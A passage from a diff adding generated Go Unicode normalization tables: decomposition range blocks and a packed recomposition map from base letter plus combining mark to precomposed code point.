0x9f}, + {value: 0x474b, lo: 0xa0, hi: 0xa0}, + {value: 0x4759, lo: 0xa1, hi: 0xa1}, + {value: 0x4767, lo: 0xa2, hi: 0xa2}, + {value: 0x4775, lo: 0xa3, hi: 0xa3}, + {value: 0x4783, lo: 0xa4, hi: 0xa4}, + {value: 0x812c, lo: 0xa5, hi: 0xa6}, + {value: 0x8101, lo: 0xa7, hi: 0xa9}, + {value: 0x8131, lo: 0xad, hi: 0xad}, + {value: 0x812c, lo: 0xae, hi: 0xb2}, + {value: 0x812e, lo: 0xbb, hi: 0xbf}, + // Block 0x95, offset 0x2ec + {value: 0x0000, lo: 0x09}, + {value: 0x812e, lo: 0x80, hi: 0x82}, + {value: 0x8133, lo: 0x85, hi: 0x89}, + {value: 0x812e, lo: 0x8a, hi: 0x8b}, + {value: 0x8133, lo: 0xaa, hi: 0xad}, + {value: 0x4721, lo: 0xbb, hi: 0xbb}, + {value: 0x472b, lo: 0xbc, hi: 0xbc}, + {value: 0x4791, lo: 0xbd, hi: 0xbd}, + {value: 0x47ad, lo: 0xbe, hi: 0xbe}, + {value: 0x479f, lo: 0xbf, hi: 0xbf}, + // Block 0x96, offset 0x2f6 + {value: 0x0000, lo: 0x01}, + {value: 0x47bb, lo: 0x80, hi: 0x80}, + // Block 0x97, offset 0x2f8 + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0x82, hi: 0x84}, + // Block 0x98, offset 0x2fa + {value: 0x0002, lo: 0x03}, + {value: 0x0043, lo: 0x80, hi: 0x99}, + {value: 0x0083, lo: 0x9a, hi: 0xb3}, + {value: 0x0043, lo: 0xb4, hi: 0xbf}, + // Block 0x99, offset 0x2fe + {value: 0x0002, lo: 0x04}, + {value: 0x005b, lo: 0x80, hi: 0x8d}, + {value: 0x0083, lo: 0x8e, hi: 0x94}, + {value: 0x0093, lo: 0x96, hi: 0xa7}, + {value: 0x0043, lo: 0xa8, hi: 0xbf}, + // Block 0x9a, offset 0x303 + {value: 0x0002, lo: 0x0b}, + {value: 0x0073, lo: 0x80, hi: 0x81}, + {value: 0x0083, lo: 0x82, hi: 0x9b}, + {value: 0x0043, lo: 0x9c, hi: 0x9c}, + {value: 0x0047, lo: 0x9e, hi: 0x9f}, + {value: 0x004f, lo: 0xa2, hi: 0xa2}, + {value: 0x0055, lo: 0xa5, hi: 0xa6}, + {value: 0x005d, lo: 0xa9, hi: 0xac}, + {value: 0x0067, lo: 0xae, hi: 0xb5}, + {value: 0x0083, lo: 0xb6, hi: 0xb9}, + {value: 0x008d, lo: 0xbb, hi: 0xbb}, + {value: 0x0091, lo: 0xbd, hi: 0xbf}, + // Block 0x9b, offset 0x30f + {value: 0x0002, lo: 0x04}, + {value: 0x0097, lo: 0x80, hi: 0x83}, + {value: 0x00a1, lo: 0x85, hi: 0x8f}, + {value: 0x0043, lo: 0x90, hi: 0xa9}, + {value: 0x0083, lo: 0xaa, hi: 0xbf}, + // Block 0x9c, offset 0x314 + {value: 0x0002, lo: 0x08}, + {value: 0x00af, lo: 0x80, hi: 0x83}, + {value: 0x0043, lo: 0x84, hi: 0x85}, + {value: 0x0049, lo: 0x87, hi: 0x8a}, + {value: 0x0055, lo: 0x8d, hi: 0x94}, + {value: 0x0067, lo: 0x96, hi: 0x9c}, + {value: 0x0083, lo: 0x9e, hi: 0xb7}, + {value: 0x0043, lo: 0xb8, hi: 0xb9}, + {value: 0x0049, lo: 0xbb, hi: 0xbe}, + // Block 0x9d, offset 0x31d + {value: 0x0002, lo: 0x05}, + {value: 0x0053, lo: 0x80, hi: 0x84}, + {value: 0x005f, lo: 0x86, hi: 0x86}, + {value: 0x0067, lo: 0x8a, hi: 0x90}, + {value: 0x0083, lo: 0x92, hi: 0xab}, + {value: 0x0043, lo: 0xac, hi: 0xbf}, + // Block 0x9e, offset 0x323 + {value: 0x0002, lo: 0x04}, + {value: 0x006b, lo: 0x80, hi: 0x85}, + {value: 0x0083, lo: 0x86, hi: 0x9f}, + {value: 0x0043, lo: 0xa0, hi: 0xb9}, + {value: 0x0083, lo: 0xba, hi: 0xbf}, + // Block 0x9f, offset 0x328 + {value: 0x0002, lo: 0x03}, + {value: 0x008f, lo: 0x80, hi: 0x93}, + {value: 0x0043, lo: 0x94, hi: 0xad}, + {value: 0x0083, lo: 0xae, hi: 0xbf}, + // Block 0xa0, offset 0x32c + {value: 0x0002, lo: 0x04}, + {value: 0x00a7, lo: 0x80, hi: 0x87}, + {value: 0x0043, lo: 0x88, hi: 0xa1}, + {value: 0x0083, lo: 0xa2, hi: 0xbb}, + {value: 0x0043, lo: 0xbc, hi: 0xbf}, + // Block 0xa1, offset 0x331 + {value: 0x0002, lo: 0x03}, + {value: 0x004b, lo: 0x80, hi: 0x95}, + {value: 0x0083, lo: 0x96, hi: 0xaf}, + {value: 0x0043, lo: 0xb0, hi: 0xbf}, + // Block 0xa2, offset 0x335 + {value: 0x0003, lo: 0x0f}, + {value: 0x023c, lo: 0x80, hi: 0x80}, + {value: 0x0556, lo: 0x81, hi: 0x81}, + {value: 0x023f, lo: 0x82, hi: 0x9a}, + {value: 0x0552, lo: 0x9b, hi: 0x9b}, + {value: 0x024b, lo: 0x9c, hi: 0x9c}, + {value: 0x0254, lo: 0x9d, hi: 0x9d}, + {value: 0x025a, lo: 0x9e, hi: 0x9e}, + {value: 0x027e, lo: 0x9f, hi: 0x9f}, + {value: 0x026f, lo: 0xa0, hi: 0xa0}, + {value: 0x026c, lo: 0xa1, hi: 0xa1}, + {value: 0x01f7, lo: 0xa2, hi: 0xb2}, + {value: 0x020c, lo: 0xb3, hi: 0xb3}, + {value: 0x022a, lo: 0xb4, hi: 0xba}, + {value: 0x0556, lo: 0xbb, hi: 0xbb}, + {value: 0x023f, lo: 0xbc, hi: 0xbf}, + // Block 0xa3, offset 0x345 + {value: 0x0003, lo: 0x0d}, + {value: 0x024b, lo: 0x80, hi: 0x94}, + {value: 0x0552, lo: 0x95, hi: 0x95}, + {value: 0x024b, lo: 0x96, hi: 0x96}, + {value: 0x0254, lo: 0x97, hi: 0x97}, + {value: 0x025a, lo: 0x98, hi: 0x98}, + {value: 0x027e, lo: 0x99, hi: 0x99}, + {value: 0x026f, lo: 0x9a, hi: 0x9a}, + {value: 0x026c, lo: 0x9b, hi: 0x9b}, + {value: 0x01f7, lo: 0x9c, hi: 0xac}, + {value: 0x020c, lo: 0xad, hi: 0xad}, + {value: 0x022a, lo: 0xae, hi: 0xb4}, + {value: 0x0556, lo: 0xb5, hi: 0xb5}, + {value: 0x023f, lo: 0xb6, hi: 0xbf}, + // Block 0xa4, offset 0x353 + {value: 0x0003, lo: 0x0d}, + {value: 0x025d, lo: 0x80, hi: 0x8e}, + {value: 0x0552, lo: 0x8f, hi: 0x8f}, + {value: 0x024b, lo: 0x90, hi: 0x90}, + {value: 0x0254, lo: 0x91, hi: 0x91}, + {value: 0x025a, lo: 0x92, hi: 0x92}, + {value: 0x027e, lo: 0x93, hi: 0x93}, + {value: 0x026f, lo: 0x94, hi: 0x94}, + {value: 0x026c, lo: 0x95, hi: 0x95}, + {value: 0x01f7, lo: 0x96, hi: 0xa6}, + {value: 0x020c, lo: 0xa7, hi: 0xa7}, + {value: 0x022a, lo: 0xa8, hi: 0xae}, + {value: 0x0556, lo: 0xaf, hi: 0xaf}, + {value: 0x023f, lo: 0xb0, hi: 0xbf}, + // Block 0xa5, offset 0x361 + {value: 0x0003, lo: 0x0d}, + {value: 0x026f, lo: 0x80, hi: 0x88}, + {value: 0x0552, lo: 0x89, hi: 0x89}, + {value: 0x024b, lo: 0x8a, hi: 0x8a}, + {value: 0x0254, lo: 0x8b, hi: 0x8b}, + {value: 0x025a, lo: 0x8c, hi: 0x8c}, + {value: 0x027e, lo: 0x8d, hi: 0x8d}, + {value: 0x026f, lo: 0x8e, hi: 0x8e}, + {value: 0x026c, lo: 0x8f, hi: 0x8f}, + {value: 0x01f7, lo: 0x90, hi: 0xa0}, + {value: 0x020c, lo: 0xa1, hi: 0xa1}, + {value: 0x022a, lo: 0xa2, hi: 0xa8}, + {value: 0x0556, lo: 0xa9, hi: 0xa9}, + {value: 0x023f, lo: 0xaa, hi: 0xbf}, + // Block 0xa6, offset 0x36f + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0x8f, hi: 0x8f}, + // Block 0xa7, offset 0x371 + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0xae, hi: 0xae}, + // Block 0xa8, offset 0x373 + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0xac, hi: 0xaf}, + // Block 0xa9, offset 0x375 + {value: 0x0000, lo: 0x03}, + {value: 0x8134, lo: 0xac, hi: 0xad}, + {value: 0x812e, lo: 0xae, hi: 0xae}, + {value: 0x8133, lo: 0xaf, hi: 0xaf}, + // Block 0xaa, offset 0x379 + {value: 0x0000, lo: 0x01}, + {value: 0x812e, lo: 0x90, hi: 0x96}, + // Block 0xab, offset 0x37b + {value: 0x0000, lo: 0x02}, + {value: 0x8133, lo: 0x84, hi: 0x89}, + {value: 0x8103, lo: 0x8a, hi: 0x8a}, + // Block 0xac, offset 0x37e + {value: 0x0002, lo: 0x0a}, + {value: 0x0063, lo: 0x80, hi: 0x89}, + {value: 0x1a7e, lo: 0x8a, hi: 0x8a}, + {value: 0x1ab1, lo: 0x8b, hi: 0x8b}, + {value: 0x1acc, lo: 0x8c, hi: 0x8c}, + {value: 0x1ad2, lo: 0x8d, hi: 0x8d}, + {value: 0x1cf0, lo: 0x8e, hi: 0x8e}, + {value: 0x1ade, lo: 0x8f, hi: 0x8f}, + {value: 0x1aa8, lo: 0xaa, hi: 0xaa}, + {value: 0x1aab, lo: 0xab, hi: 0xab}, + {value: 0x1aae, lo: 0xac, hi: 0xac}, + // Block 0xad, offset 0x389 + {value: 0x0000, lo: 0x01}, + {value: 0x1a6c, lo: 0x90, hi: 0x90}, + // Block 0xae, offset 0x38b + {value: 0x0028, lo: 0x09}, + {value: 0x2999, lo: 0x80, hi: 0x80}, + {value: 0x295d, lo: 0x81, hi: 0x81}, + {value: 0x2967, lo: 0x82, hi: 0x82}, + {value: 0x297b, lo: 0x83, hi: 0x84}, + {value: 0x2985, lo: 0x85, hi: 0x86}, + {value: 0x2971, lo: 0x87, hi: 0x87}, + {value: 0x298f, lo: 0x88, hi: 0x88}, + {value: 0x0c6a, lo: 0x90, hi: 0x90}, + {value: 0x09e2, lo: 0x91, hi: 0x91}, + // Block 0xaf, offset 0x395 + {value: 0x0002, lo: 0x01}, + {value: 0x0021, lo: 0xb0, hi: 0xb9}, +} + +// recompMap: 7528 bytes (entries only) +var recompMap map[uint32]rune +var recompMapOnce sync.Once + +const recompMapPacked = "" + + "\x00A\x03\x00\x00\x00\x00\xc0" + // 0x00410300: 0x000000C0 + "\x00A\x03\x01\x00\x00\x00\xc1" + // 0x00410301: 0x000000C1 + "\x00A\x03\x02\x00\x00\x00\xc2" + // 0x00410302: 0x000000C2 + "\x00A\x03\x03\x00\x00\x00\xc3" + // 0x00410303: 0x000000C3 + "\x00A\x03\b\x00\x00\x00\xc4" + // 0x00410308: 0x000000C4 + "\x00A\x03\n\x00\x00\x00\xc5" + // 0x0041030A: 0x000000C5 + "\x00C\x03'\x00\x00\x00\xc7" + // 0x00430327: 0x000000C7 + "\x00E\x03\x00\x00\x00\x00\xc8" + // 0x00450300: 0x000000C8 + "\x00E\x03\x01\x00\x00\x00\xc9" + // 0x00450301: 0x000000C9 + "\x00E\x03\x02\x00\x00\x00\xca" + // 0x00450302: 0x000000CA + "\x00E\x03\b\x00\x00\x00\xcb" + // 0x00450308: 0x000000CB + "\x00I\x03\x00\x00\x00\x00\xcc" + // 0x00490300: 0x000000CC + "\x00I\x03\x01\x00\x00\x00\xcd" + // 0x00490301: 0x000000CD + "\x00I\x03\x02\x00\x00\x00\xce" + // 0x00490302: 0x000000CE + "\x00I\x03\b\x00\x00\x00\xcf" + // 0x00490308: 0x000000CF + "\x00N\x03\x03\x00\x00\x00\xd1" + // 0x004E0303: 0x000000D1 + "\x00O\x03\x00\x00\x00\x00\xd2" + // 0x004F0300: 0x000000D2 + "\x00O\x03\x01\x00\x00\x00\xd3" + // 0x004F0301: 0x000000D3 + "\x00O\x03\x02\x00\x00\x00\xd4" + // 0x004F0302: 0x000000D4 + "\x00O\x03\x03\x00\x00\x00\xd5" + // 0x004F0303: 0x000000D5 + "\x00O\x03\b\x00\x00\x00\xd6" + // 0x004F0308: 0x000000D6 + "\x00U\x03\x00\x00\x00\x00\xd9" + // 0x00550300: 0x000000D9 + "\x00U\x03\x01\x00\x00\x00\xda" + // 0x00550301: 0x000000DA + "\x00U\x03\x02\x00\x00\x00\xdb" + // 0x00550302: 0x000000DB + "\x00U\x03\b\x00\x00\x00\xdc" + // 0x00550308: 0x000000DC + "\x00Y\x03\x01\x00\x00\x00\xdd" + // 0x00590301: 0x000000DD + "\x00a\x03\x00\x00\x00\x00\xe0" + // 0x00610300: 0x000000E0 + "\x00a\x03\x01\x00\x00\x00\xe1" + // 0x00610301: 0x000000E1 + "\x00a\x03\x02\x00\x00\x00\xe2" + // 0x00610302: 0x000000E2 + "\x00a\x03\x03\x00\x00\x00\xe3" + // 0x00610303: 0x000000E3 + "\x00a\x03\b\x00\x00\x00\xe4" + // 0x00610308: 0x000000E4 + "\x00a\x03\n\x00\x00\x00\xe5" + // 0x0061030A: 0x000000E5 + "\x00c\x03'\x00\x00\x00\xe7" + // 0x00630327: 0x000000E7 + "\x00e\x03\x00\x00\x00\x00\xe8" + // 0x00650300: 0x000000E8 + "\x00e\x03\x01\x00\x00\x00\xe9" + // 0x00650301: 0x000000E9 + "\x00e\x03\x02\x00\x00\x00\xea" + // 0x00650302: 0x000000EA + "\x00e\x03\b\x00\x00\x00\xeb" + // 0x00650308: 0x000000EB + "\x00i\x03\x00\x00\x00\x00\xec" + // 0x00690300: 0x000000EC + "\x00i\x03\x01\x00\x00\x00\xed" + // 0x00690301: 0x000000ED + "\x00i\x03\x02\x00\x00\x00\xee" + // 0x00690302: 0x000000EE + "\x00i\x03\b\x00\x00\x00\xef" + // 0x00690308: 0x000000EF + "\x00n\x03\x03\x00\x00\x00\xf1" + // 0x006E0303: 0x000000F1 + "\x00o\x03\x00\x00\x00\x00\xf2" + // 0x006F0300: 0x000000F2 + "\x00o\x03\x01\x00\x00\x00\xf3" + // 0x006F0301: 0x000000F3 + "\x00o\x03\x02\x00\x00\x00\xf4" + // 0x006F0302: 0x000000F4 + "\x00o\x03\x03\x00\x00\x00\xf5" + // 0x006F0303: 0x000000F5 + "\x00o\x03\b\x00\x00\x00\xf6" + // 0x006F0308: 0x000000F6 + "\x00u\x03\x00\x00\x00\x00\xf9" + // 0x00750300: 0x000000F9 + "\x00u\x03\x01\x00\x00\x00\xfa" + // 0x00750301: 0x000000FA + "\x00u\x03\x02\x00\x00\x00\xfb" + // 0x00750302: 0x000000FB + "\x00u\x03\b\x00\x00\x00\xfc" + // 0x00750308: 0x000000FC + "\x00y\x03\x01\x00\x00\x00\xfd" + // 0x00790301: 0x000000FD + "\x00y\x03\b\x00\x00\x00\xff" + // 0x00790308: 0x000000FF + "\x00A\x03\x04\x00\x00\x01\x00" + // 0x00410304: 0x00000100 + "\x00a\x03\x04\x00\x00\x01\x01" + // 0x00610304: 0x00000101 + "\x00A\x03\x06\x00\x00\x01\x02" + // 0x00410306: 0x00000102 + "\x00a\x03\x06\x00\x00\x01\x03" + // 0x00610306: 0x00000103 + "\x00A\x03(\x00\x00\x01\x04" + // 0x00410328: 0x00000104 + "\x00a\x03(\x00\x00\x01\x05" + // 0x00610328: 0x00000105 + "\x00C\x03\x01\x00\x00\x01\x06" + // 0x00430301: 0x00000106 + "\x00c\x03\x01\x00\x00\x01\a" + // 0x00630301: 0x00000107 + "\x00C\x03\x02\x00\x00\x01\b" + // 0x00430302: 0x00000108 + "\x00c\x03\x02\x00\x00\x01\t" + // 0x00630302: 0x00000109 + "\x00C\x03\a\x00\x00\x01\n" + // 0x00430307: 0x0000010A + "\x00c\x03\a\x00\x00\x01\v" + // 0x00630307: 0x0000010B + "\x00C\x03\f\x00\x00\x01\f" + // 0x0043030C: 0x0000010C + "\x00c\x03\f\x00\x00\x01\r" + // 0x0063030C: 0x0000010D + "\x00D\x03\f\x00\x00\x01\x0e" + // 0x0044030C: 0x0000010E + "\x00d\x03\f\x00\x00\x01\x0f" + // 0x0064030C: 0x0000010F + "\x00E\x03\x04\x00\x00\x01\x12" + // 0x00450304: 0x00000112 + "\x00e\x03\x04\x00\x00\x01\x13" + // 0x00650304: 0x00000113 + "\x00E\x03\x06\x00\x00\x01\x14" + // 0x00450306: 0x00000114 + "\x00e\x03\x06\x00\x00\x01\x15" + // 0x00650306: 0x00000115 + "\x00E\x03\a\x00\x00\x01\x16" + // 0x00450307: 0x00000116 + "\x00e\x03\a\x00\x00\x01\x17" + // 0x00650307: 0x00000117 + "\x00E\x03(\x00\x00\x01\x18" + // 0x00450328: 0x00000118 + "\x00e\x03(\x00\x00\x01\x19" + // 0x00650328: 0x00000119 + "\x00E\x03\f\x00\x00\x01\x1a" + // 0x0045030C: 0x0000011A + "\x00e\x03\f\x00\x00\x01\x1b" + // 0x0065030C: 0x0000011B + "\x00G\x03\x02\x00\x00\x01\x1c" + // 0x00470302: 0x0000011C + "\x00g\x03\x02\x00\x00\x01\x1d" + // 0x00670302: 0x0000011D + "\x00G\x03\x06\x00\x00\x01\x1e" + // 0x00470306: 0x0000011E + "\x00g\x03\x06\x00\x00\x01\x1f" + // 0x00670306: 0x0000011F + "\x00G\x03\a\x00\x00\x01 " + // 0x00470307: 0x00000120 + "\x00g\x03\a\x00\x00\x01!" + // 0x00670307: 0x00000121 + "\x00G\x03'\x00\x00\x01\"" + // 0x00470327: 0x00000122 + "\x00g\x03'\x00\x00\x01#" + // 0x00670327: 0x00000123 + "\x00H\x03\x02\x00\x00\x01$" + // 0x00480302: 0x00000124 + "\x00h\x03\x02\x00\x00\x01%" + // 0x00680302: 0x00000125 + "\x00I\x03\x03\x00\x00\x01(" + // 0x00490303: 0x00000128 + "\x00i\x03\x03\x00\x00\x01)" + // 0x00690303: 0x00000129 + "\x00I\x03\x04\x00\x00\x01*" + // 0x00490304: 0x0000012A + "\x00i\x03\x04\x00\x00\x01+" + // 0x00690304: 0x0000012B + "\x00I\x03\x06\x00\x00\x01," + // 0x00490306: 0x0000012C + "\x00i\x03\x06\x00\x00\x01-" + // 0x00690306: 0x0000012D + "\x00I\x03(\x00\x00\x01." + // 0x00490328: 0x0000012E + "\x00i\x03(\x00\x00\x01/" + // 0x00690328: 0x0000012F + "\x00I\x03\a\x00\x00\x010" + // 0x00490307: 0x00000130 + "\x00J\x03\x02\x00\x00\x014" + // 0x004A0302: 0x00000134 + "\x00j\x03\x02\x00\x00\x015" + // 0x006A0302: 0x00000135 + "\x00K\x03'\x00\x00\x016" + // 0x004B0327: 0x00000136 + "\x00k\x03'\x00\x00\x017" + // 0x006B0327: 0x00000137 + "\x00L\x03\x01\x00\x00\x019" + // 0x004C0301: 0x00000139 + "\x00l\x03\x01\x00\x00\x01:" + // 0x006C0301: 0x0000013A + "\x00L\x03'\x00\x00\x01;" + // 0x004C0327: 0x0000013B + "\x00l\x03'\x00\x00\x01<" + // 0x006C0327: 0x0000013C + "\x00L\x03\f\x00\x00\x01=" + // 0x004C030C: 0x0000013D + "\x00l\x03\f\x00\x00\x01>" + // 0x006C030C: 0x0000013E + "\x00N\x03\x01\x00\x00\x01C" + // 0x004E0301: 0x00000143 + "\x00n\x03\x01\x00\x00\x01D" + // 0x006E0301: 0x00000144 + "\x00N\x03'\x00\x00\x01E" + // 0x004E0327: 0x00000145 + "\x00n\x03'\x00\x00\x01F" + // 0x006E0327: 0x00000146 + "\x00N\x03\f\x00\x00\x01G" + // 0x004E030C: 0x00000147 + "\x00n\x03\f\x00\x00\x01H" + // 0x006E030C: 0x00000148 + "\x00O\x03\x04\x00\x00\x01L" + // 0x004F0304: 0x0000014C + "\x00o\x03\x04\x00\x00\x01M" + // 0x006F0304: 0x0000014D + "\x00O\x03\x06\x00\x00\x01N" + // 0x004F0306: 0x0000014E + "\x00o\x03\x06\x00\x00\x01O" + // 0x006F0306: 0x0000014F + "\x00O\x03\v\x00\x00\x01P" + // 0x004F030B: 0x00000150 + "\x00o\x03\v\x00\x00\x01Q" + // 0x006F030B: 0x00000151 + "\x00R\x03\x01\x00\x00\x01T" + // 0x00520301: 0x00000154 + "\x00r\x03\x01\x00\x00\x01U" + // 0x00720301: 0x00000155 + "\x00R\x03'\x00\x00\x01V" + // 0x00520327: 0x00000156 + "\x00r\x03'\x00\x00\x01W" + // 0x00720327: 0x00000157 + "\x00R\x03\f\x00\x00\x01X" + // 0x0052030C: 0x00000158 + "\x00r\x03\f\x00\x00\x01Y" + // 0x0072030C: 0x00000159 + "\x00S\x03\x01\x00\x00\x01Z" + // 0x00530301: 0x0000015A + "\x00s\x03\x01\x00\x00\x01[" + // 0x00730301: 0x0000015B + "\x00S\x03\x02\x00\x00\x01\\" + // 0x00530302: 0x0000015C + "\x00s\x03\x02\x00\x00\x01]" + // 0x00730302: 0x0000015D + "\x00S\x03'\x00\x00\x01^" + // 0x00530327: 0x0000015E + "\x00s\x03'\x00\x00\x01_" + // 0x00730327: 0x0000015F + "\x00S\x03\f\x00\x00\x01`" + // 0x0053030C: 0x00000160 + "\x00s\x03\f\x00\x00\x01a" + // 0x0073030C: 0x00000161 + "\x00T\x03'\x00\x00\x01b" + // 0x00540327: 0x00000162 + "\x00t\x03'\x00\x00\x01c" + // 0x00740327: 0x00000163 + "\x00T\x03\f\x00\x00\x01d" + // 0x0054030C: 0x00000164 + "\x00t\x03\f\x00\x00\x01e" + // 0x0074030C: 0x00000165 + "\x00U\x03\x03\x00\x00\x01h" + // 0x00550303: 0x00000168 + "\x00u\x03\x03\x00\x00\x01i" + // 0x00750303: 0x00000169 + "\x00U\x03\x04\x00\x00\x01j" + // 0x00550304: 0x0000016A + "\x00u\x03\x04\x00\x00\x01k" + // 0x00750304: 0x0000016B + "\x00U\x03\x06\x00\x00\x01l" + // 0x00550306: 0x0000016C + "\x00u\x03\x06\x00\x00\x01m" + // 0x00750306: 0x0000016D + "\x00U\x03\n\x00\x00\x01n" + // 0x0055030A: 0x0000016E + "\x00u\x03\n\x00\x00\x01o" + // 0x0075030A: 0x0000016F + "\x00U\x03\v\x00\x00\x01p" + // 0x0055030B: 0x00000170 + "\x00u\x03\v\x00\x00\x01q" + // 0x0075030B: 0x00000171 + "\x00U\x03(\x00\x00\x01r" + // 0x00550328: 0x00000172 + "\x00u\x03(\x00\x00\x01s" + // 0x00750328: 0x00000173 + "\x00W\x03\x02\x00\x00\x01t" + // 0x00570302: 0x00000174 + "\x00w\x03\x02\x00\x00\x01u" + // 0x00770302: 0x00000175 + "\x00Y\x03\x02\x00\x00\x01v" + // 0x00590302: 0x00000176 + "\x00y\x03\x02\x00\x00\x01w" + // 0x00790302: 0x00000177 + "\x00Y\x03\b\x00\x00\x01x" + // 0x00590308: 0x00000178 + "\x00Z\x03\x01\x00\x00\x01y" + // 0x005A0301: 0x00000179 + "\x00z\x03\x01\x00\x00\x01z" + // 0x007A0301: 0x0000017A + "\x00Z\x03\a\x00\x00\x01{" + // 0x005A0307: 0x0000017B + "\x00z\x03\a\x00\x00\x01|" + // 0x007A0307: 0x0000017C + "\x00Z\x03\f\x00\x00\x01}" + // 0x005A030C: 0x0000017D + "\x00z\x03\f\x00\x00\x01~" + // 0x007A030C: 0x0000017E + "\x00O\x03\x1b\x00\x00\x01\xa0" + // 0x004F031B: 0x000001A0 + "\x00o\x03\x1b\x00\x00\x01\xa1" + // 0x006F031B: 0x000001A1 + "\x00U\x03\x1b\x00\x00\x01\xaf" + // 0x0055031B: 0x000001AF + "\x00u\x03\x1b\x00\x00\x01\xb0" + // 0x0075031B: 0x000001B0 + "\x00A\x03\f\x00\x00\x01\xcd" + // 0x0041030C: 0x000001CD + "\x00a\x03\f\x00\x00\x01\xce" + // 0x0061030C: 0x000001CE + "\x00I\x03\f\x00\x00\x01\xcf" + // 0x0049030C: 0x000001CF + "\x00i\x03\f\x00\x00\x01\xd0" + // 0x0069030C: 0x000001D0 + "\x00O\x03\f\x00\x00\x01\xd1" + // 0x004F030C: 0x000001D1 + "\x00o\x03\f\x00\x00\x01\xd2" + // 0x006F030C: 0x000001D2 + "\x00U\x03\f\x00\x00\x01\xd3" + // 0x0055030C: 0x000001D3 + "\x00u\x03\f\x00\x00\x01\xd4" + // 0x0075030C: 0x000001D4 + "\x00\xdc\x03\x04\x00\x00\x01\xd5" + // 0x00DC0304: 0x000001D5 + "\x00\xfc\x03\x04\x00\x00\x01\xd6" + // 0x00FC0304: 0x000001D6 + "\x00\xdc\x03\x01\x00\x00\x01\xd7" + // 0x00DC0301: 0x000001D7 + "\x00\xfc\x03\x01\x00\x00\x01\xd8" + // 0x00FC0301: 0x000001D8 + "\x00\xdc\x03\f\x00\x00\x01\xd9" + // 0x00DC030C: 0x000001D9 + "\x00\xfc\x03\f\x00\x00\x01\xda" + // 0x00FC030C: 0x000001DA + "\x00\xdc\x03\x00\x00\x00\x01\xdb" + // 0x00DC0300: 0x000001DB + "\x00\xfc\x03\x00\x00\x00\x01\xdc" + // 0x00FC0300: 0x000001DC + "\x00\xc4\x03\x04\x00\x00\x01\xde" + // 0x00C40304: 0x000001DE + "\x00\xe4\x03\x04\x00\x00\x01\xdf" + // 0x00E40304: 0x000001DF + "\x02&\x03\x04\x00\x00\x01\xe0" + // 0x02260304: 0x000001E0 + "\x02'\x03\x04\x00\x00\x01\xe1" + // 0x02270304: 0x000001E1 + "\x00\xc6\x03\x04\x00\x00\x01\xe2" + // 0x00C60304: 0x000001E2 + "\x00\xe6\x03\x04\x00\x00\x01\xe3" + // 0x00E60304: 0x000001E3 + "\x00G\x03\f\x00\x00\x01\xe6" + // 0x0047030C: 0x000001E6 + "\x00g\x03\f\x00\x00\x01\xe7" + // 0x0067030C: 0x000001E7 + "\x00K\x03\f\x00\x00\x01\xe8" + // 0x004B030C: 0x000001E8 + "\x00k\x03\f\x00\x00\x01\xe9" + // 0x006B030C: 0x000001E9 + "\x00O\x03(\x00\x00\x01\xea" + // 0x004F0328: 0x000001EA + "\x00o\x03(\x00\x00\x01\xeb" + // 0x006F0328: 0x000001EB + "\x01\xea\x03\x04\x00\x00\x01\xec" + // 0x01EA0304: 0x000001EC + "\x01\xeb\x03\x04\x00\x00\x01\xed" + // 0x01EB0304: 0x000001ED + "\x01\xb7\x03\f\x00\x00\x01\xee" + // 0x01B7030C: 0x000001EE + "\x02\x92\x03\f\x00\x00\x01\xef" + // 0x0292030C: 0x000001EF + "\x00j\x03\f\x00\x00\x01\xf0" + // 0x006A030C: 0x000001F0 + "\x00G\x03\x01\x00\x00\x01\xf4" + // 0x00470301: 0x000001F4 + "\x00g\x03\x01\x00\x00\x01\xf5" + // 0x00670301: 0x000001F5 + "\x00N\x03\x00\x00\x00\x01\xf8" + // 0x004E0300: 0x000001F8 + "\x00n\x03\x00\x00\x00\x01\xf9" + // 0x006E0300: 0x000001F9 + "\x00\xc5\x03\x01\x00\x00\x01\xfa" + // 0x00C50301: 0x000001FA + "\x00\xe5\x03\x01\x00\x00\x01\xfb" + // 0x00E50301: 0x000001FB + "\x00\xc6\x03\x01\x00\x00\x01\xfc" + // 0x00C60301: 0x000001FC + "\x00\xe6\x03\x01\x00\x00\x01\xfd" + // 0x00E60301: 0x000001FD + "\x00\xd8\x03\x01\x00\x00\x01\xfe" + // 0x00D80301: 0x000001FE + "\x00\xf8\x03\x01\x00\x00\x01\xff" + // 0x00F80301: 0x000001FF + "\x00A\x03\x0f\x00\x00\x02\x00" + // 0x0041030F: 0x00000200 + "\x00a\x03\x0f\x00\x00\x02\x01" + // 0x0061030F: 0x00000201 + "\x00A\x03\x11\x00\x00\x02\x02" + // 0x00410311: 0x00000202 + "\x00a\x03\x11\x00\x00\x02\x03" + // 0x00610311: 0x00000203 + "\x00E\x03\x0f\x00\x00\x02\x04" + // 0x0045030F: 0x00000204 + "\x00e\x03\x0f\x00\x00\x02\x05" + // 0x0065030F: 0x00000205 + "\x00E\x03\x11\x00\x00\x02\x06" + // 0x00450311: 0x00000206 + "\x00e\x03\x11\x00\x00\x02\a" + // 0x00650311: 0x00000207 + "\x00I\x03\x0f\x00\x00\x02\b" + // 0x0049030F: 0x00000208 + "\x00i\x03\x0f\x00\x00\x02\t" + // 0x0069030F: 0x00000209 + "\x00I\x03\x11\x00\x00\x02\n" + // 0x00490311: 0x0000020A + "\x00i\x03\x11\x00\x00\x02\v" + // 0x00690311: 0x0000020B + "\x00O\x03\x0f\x00\x00\x02\f" + // 0x004F030F: 0x0000020C + "\x00o\x03\x0f\x00\x00\x02\r" + // 0x006F030F: 0x0000020D + "\x00O\x03\x11\x00\x00\x02\x0e" + // 0x004F0311: 0x0000020E + "\x00o\x03\x11\x00\x00\x02\x0f" + // 0x006F0311: 0x0000020F + "\x00R\x03\x0f\x00\x00\x02\x10" + // 0x0052030F: 0x00000210 + "\x00r\x03\x0f\x00\x00\x02\x11" + // 0x0072030F: 0x00000211 + "\x00R\x03\x11\x00\x00\x02\x12" + // 0x00520311: 0x00000212 + "\x00r\x03\x11\x00\x00\x02\x13" + // 0x00720311: 0x00000213 + "\x00U\x03\x0f\x00\x00\x02\x14" + // 0x0055030F: 0x00000214 + "\x00u\x03\x0f\x00\x00\x02\x15" + // 0x0075030F: 0x00000215 + "\x00U\x03\x11\x00\x00\x02\x16" + // 0x00550311: 0x00000216 + "\x00u\x03\x11\x00\x00\x02\x17" + // 0x00750311: 0x00000217 + 